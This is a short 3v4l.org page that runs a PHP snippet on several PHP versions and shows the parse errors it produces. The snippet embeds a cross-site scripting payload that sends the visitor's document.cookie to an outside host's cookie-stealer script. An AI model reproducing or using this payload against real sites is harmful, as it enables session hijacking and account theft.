3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $string = '<script language="JavaScript">location.href='http://skrubbeltrang.t15.org/adv_cookie_stealer.php?c='+document.cookie;</script>'; echo sprintf($string); ?>
Output for 5.4.0 - 5.4.27
Parse error: syntax error, unexpected 'http' (T_STRING) in /in/co5kj on line 2
Process exited with code 255.
Output for 5.3.0 - 5.3.28
Parse error: syntax error, unexpected T_STRING in /in/co5kj on line 2
Process exited with code 255.